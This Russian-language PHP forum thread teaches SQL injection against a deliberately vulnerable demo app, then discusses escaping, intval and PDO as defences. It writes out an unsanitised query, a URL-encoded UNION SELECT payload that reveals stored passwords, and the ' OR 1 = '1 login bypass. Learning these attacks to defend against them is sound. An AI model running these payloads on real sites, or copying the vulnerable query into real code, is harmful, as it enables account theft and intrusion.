|
|
|
| Вообщем название говорит за себя ) | |
|
|
|
|
 2.1 Кб |
|
|
для: Dazzl
(21.03.2012 в 14:50)
| | Их два вида, один работает по строкам, другой по числам. Чтобы не говорить беспредметно, разверните систему регистрации из прикрепленного архива. Регистрационная информация попадает в таблицу вида
CREATE TABLE userslist (
id_user INT(11) NOT NULL AUTO_INCREMENT,
name TINYTEXT NOT NULL,
pass TINYTEXT NOT NULL,
email TINYTEXT NOT NULL,
url TINYTEXT NOT NULL,
PRIMARY KEY (id_user)
);
|
| |
|
|
|
|
|
|
|
для: cheops
(21.03.2012 в 14:57)
| | SQL-инъекция по числу проводится так. Создайте мини-приложение, которое выводит список всех пользователей index.php
<?php
// Устанавливаем соединение с базой данных
require_once("config.php");
// Запрашиваем список всех пользователей
$query = "SELECT * FROM userslist ORDER BY name";
$usr = mysql_query($query);
if(!$usr) exit("Ошибка - ".mysql_error());
while($user = mysql_fetch_array($usr))
{
echo "<a href=user.php?id_user=$user[id_user]>$user[name]</a><br>";
}
?>
| и файл user.php, выводящий подробную информацию без пароля
<?php
// Устанавливаем соединение с базой данных
require_once("config.php");
// Запрашиваем список всех пользователей
$query = "SELECT * FROM userslist WHERE id_user = $_GET[id_user]";
$usr = mysql_query($query);
if(!$usr) exit("Ошибка - ".mysql_error());
$user = mysql_fetch_array($usr);
echo "Имя пользователя - $user[name]<br>";
if(!empty($user['email'])) echo "e-mail - $user[email]<br>";
if(!empty($user['url'])) echo "URL - $user[url]<br>";
?>
| Допустим, у вас есть в базе данных пользователь с id_user = 1, запрос user.php?id_user=1 выводит информацию по нему (кроме пароля), а теперь ведите в строку запроса следующий эксплоит
user.php?id_user=-1%20UNION%20SELECT%20id_user,%20pass,%20name,%20email,%20url%20FROM%20userslist%20WHERE%20id_user%20=%201
Вместо имени пользователя у вас выведется пароль. Как составлять SQL-инъекцию? Вот исходный SQL-запрос
SELECT * FROM userslist WHERE id_user = 1
| вместо 1 можно подставлять все что угодно, любую строку, почему бы не расширить SQL-запрос до
SELECT * FROM userslist WHERE id_user = 1
UNION
SELECT * FROM userslist WHERE id_user = 1
| не жирную часть уже не исправить, она зашита в коде, нужно её выключить, берем заведом не существующее значение -1
SELECT * FROM userslist WHERE id_user = -1
UNION
SELECT * FROM userslist WHERE id_user = 1
| если теперь поправить во втором значение идентификатор, можно убедиться, что выводятся данные именно второго запроса, первый - возвращает пустую результирующую таблицу. В качестве другой манипуляции часто используют ORDER BY и LIMIT 1, чтобы просто отсортировать результат таким образом, чтобы первыми шли строи из инъекции, а не из базового запроса. Теперь расшифровываем * в SELECT-выражении
SELECT * FROM userslist WHERE id_user = -1
UNION
SELECT id_user, name, pass, email, url FROM userslist WHERE id_user = 1
| Теперь достаточно поменять местами name и pass, чтобы вместо имени выводился пароль
SELECT * FROM userslist WHERE id_user = -1
UNION
SELECT id_user, pass, name, email, url FROM userslist WHERE id_user = 1
| после этого остается только взять, то что выделенно жирным и подставить вместо id_user в строке запроса. SQL-инъкция готова. | |
|
|
|
|
|
|
|
для: cheops
(21.03.2012 в 15:10)
| | Еще один маленький вопрос: эта инъекция будет работать если запрос принимается до конекта с базой? | |
|
|
|
|
|
|
|
для: Dazzl
(21.03.2012 в 15:22)
| | Я немного ошибся, не тот код ввел вместо user.php, посмотрите сейчас. Видите перед тем, как задействовать $_GET[id_user] в SQL-запросе, мы никак не проверяем что это, число или строка. Все-равно до или после коннект - в строку запроса сыпется все, что угодно, а на SQL можно написать довольно сложную программу. | |
|
|
|
|
|
|
|
для: cheops
(21.03.2012 в 15:27)
| | Я вам премного благодарен за код и объяснение, я пока на работе и у нас напряги и вот так вот сразу взять и понять не могу, я просто не могу сосредоточиться )) я обязательно по позже отпишусь или к сожалению завтра, тока не бросайте пожалуйста эту тему на дно, я хочу еще потрести эту тему ) с/у Dazzl | |
|
|
|
|
|
|
|
для: Dazzl
(21.03.2012 в 15:22)
| | странное у вас представление действительности, даже как-то сразу не ответишь на ваш вопрос | |
|
|
|
|
|
|
|
для: cheops
(21.03.2012 в 15:10)
| | Вот когда я ввожу
user.php?id_user=-1%20UNION%20SELECT%20*%20FROM%20userslist%20WHERE%20 id_user%20=%201 нечего не происходит ( что не так? | |
|
|
|
|
|
|
|
для: Dazzl
(21.03.2012 в 16:24)
| | Ага, сейчас поправлю текст, введите вот такой
-1%20UNION%20SELECT%20id_user,%20pass,%20name,%20email,%20url%20FROM%20userslist%20WHERE%20id_user%20=%201 | |
|
|
|
|
|
|
|
для: cheops
(21.03.2012 в 16:44)
| | обратно нечего( | |
|
|
|
|
|
|
|
для: Dazzl
(21.03.2012 в 16:48)
| | А user.php?id_user=1 у вас работает как надо (выводит информацию о пользователе), скрипт развернут корректно? И вообще есть ли запись в таблице с идентификатором id_user = 1? | |
|
|
|
|
|
|
|
для: cheops
(21.03.2012 в 16:58)
| | Да, работает!
Имя пользователя - name
e-mail - pochta@mail.ru
URL - adress
так вродь должно быть | |
|
|
|
|
|
|
|
для: Dazzl
(21.03.2012 в 17:00)
| | А теперь вместо единицы подставьте -1%20UNION%20SELECT%20id_user,%20pass,%20name,%20email,%20url%20FROM%20userslist%20WHERE%20id_user%20=%201 - должна открыться та же самая страница, но вместо name у вас должен быть пароль (если, вы конечно, тоже не name вбили). | |
|
|
|
|
|
|
|
для: cheops
(21.03.2012 в 17:03)
| | тока
Имя пользователя -
(
>если, вы конечно, тоже не name вбили
я не чего не менял я копировал и вставлял
и пароль у меня w | |
|
|
|
|
|
|
|
для: Dazzl
(21.03.2012 в 17:06)
| | Если не сложно прикрепите дамп таблицы, чтобы можно было воспроизвести ситуацию? | |
|
|
|
|
|
|
|
для: cheops
(21.03.2012 в 17:12)
| | Извините мне пора идти еще раз спасибо! | |
|
|
|
|
|
|
|
для: cheops
(21.03.2012 в 17:12)
| | Здравствуйте!
Значит у меня не получилось воспроизвести ситуацию, но алгоритм я понял.
Погасить зашитую команду и внедрить свою:
SELECT * FROM userslist WHERE id_user = -1
UNION
SELECT id_user, name, pass, email, url FROM userslist WHERE id_user = 1
|
Я так понял число -1 и гасит вшитую sql команду, это необязательно -1 это значит можно и 1млн. вписать т.е. что-нить что не существует в поле id-user, это так? | |
|
|
|
|
|
|
|
для: Dazzl
(22.03.2012 в 09:29)
| | А-а! все-все получился у меня фокус с:
SELECT * FROM userslist WHERE id_user = -1
UNION
SELECT id_user, name, pass, email, url FROM userslist WHERE id_user = 1
|
я начинаю понимать ))
Вообщем люди, я почитал немного в инете и такой расклад:
'" . mysql_real_escape_string($_GET['city']) . "'
|
такой подход считается более или менее безопасным относительно текстовых запросов, что вы об этом думаете?
а на счет числовых данных то же что предлогали и вы функция intval() тока я не до конца понимаю что она делает ( | |
|
|
|
|
|
|
|
для: Dazzl
(22.03.2012 в 13:00)
| | mysql_real_escape_string($_GET['city'])
лучше всетаки сначала принять переменную, убедиться что она существует, присвоить значение по умолчанию, если переменная не передана, а потом обрабатывать | |
|
|
|
|
|
|
|
для: Valick
(22.03.2012 в 13:17)
| | А ну да, я так и делаю типо вот так:
$name = $_REQUEST['name'];
if (!empty(name))
..."'.mysql_real_escape_string($name).'"...
|
| |
|
|
|
|
|
|
|
для: Dazzl
(22.03.2012 в 13:29)
| | Люди мне тут сказали что для решения проблем с SQL - инъекции нужно поюзать PDO что вы думаете на счет этого? | |
|
|
|
|
|
|
|
для: Dazzl
(22.03.2012 в 16:35)
| | Для решения проблем с SQL-инъекциями нужно знать что это такое, не обязательно, но хорошо бы уметь их составлять. А чем вы будете решать это стандартными функциями, PDO, организацией кода, большого значения не имеет. Хотите PDO можно PDO, хотите подготовленными запросами...
PS Суть в том, что MySQL не единственная база данных, а PHP не единственный программист - проблема общая, поэтому нужно о ней знать вообще, а инструменты у вас будут везде разные, главное отдавать себе отчет в том, что делаешь и зачем это делаешь (иначе рано или поздно появится соблазн этого не делать). | |
|
|
|
|
|
|
|
для: cheops
(21.03.2012 в 14:57)
| | _ | |
|
|
|
|
|
|
|
для: cheops
(21.03.2012 в 14:57)
| | SQL-инъекция в случае строк проводится по аналогии, пусть есть система авторизации
SELECT
COUNT(*) FROM userslist
WHERE
name = '$name' AND
pass = '$pass';
| Если запрос возвращает 1, авторизация пройдена, если 0 - не пройдена. Подставляем нужный $name, модифицируя $pass таким образом, чтобы изменить логику SQL-запроса.
SELECT
COUNT(*)
FROM
userslist
WHERE
name = '$name' AND
pass = '' OR 1 = '1';
| Т.е. вместо пароля вводим ' OR 1 = '1 и вы входите в систему. Именно поэтому важно такие строки преобразовывать к виду \' OR 1 = \'1. Если этого нет, считайте, что вас уже взломали. | |
|
|
|